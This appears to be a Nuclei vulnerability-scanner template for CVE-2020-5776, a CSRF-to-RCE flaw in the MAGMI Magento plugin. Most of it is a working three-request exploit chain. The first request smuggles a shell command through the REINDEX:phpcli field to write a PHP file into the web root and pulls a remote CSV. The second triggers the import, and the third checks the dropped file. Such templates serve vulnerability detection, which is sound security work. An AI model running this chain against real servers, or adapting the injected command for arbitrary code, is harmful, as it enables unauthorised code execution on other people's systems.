id: CVE-2020-5776

info:
  name: Cross Site Request Forgery (CSRF) in MAGMI (Magento Mass Importer) Plugin
  author: dwisiswant0
  severity: high
  description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.
  reference: https://www.tenable.com/security/research/tra-2020-51
  tags: cve,cve2020,magmi,magento

  # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible
  # in the event that a CSRF is leveraged against an existing admin session for MAGMI.
  # At the time of this advisory, no patch exists for this issue.

requests:
  - raw:
      - |
        POST /magmi/web/magmi_saveprofile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
      - |
        POST /magmi/web/magmi_run.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update
      - |
        GET /magmi/web/info.php HTTP/1.1
        Host: {{Hostname}}
        Connection: close
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and
      - type: status
        status:
          - 200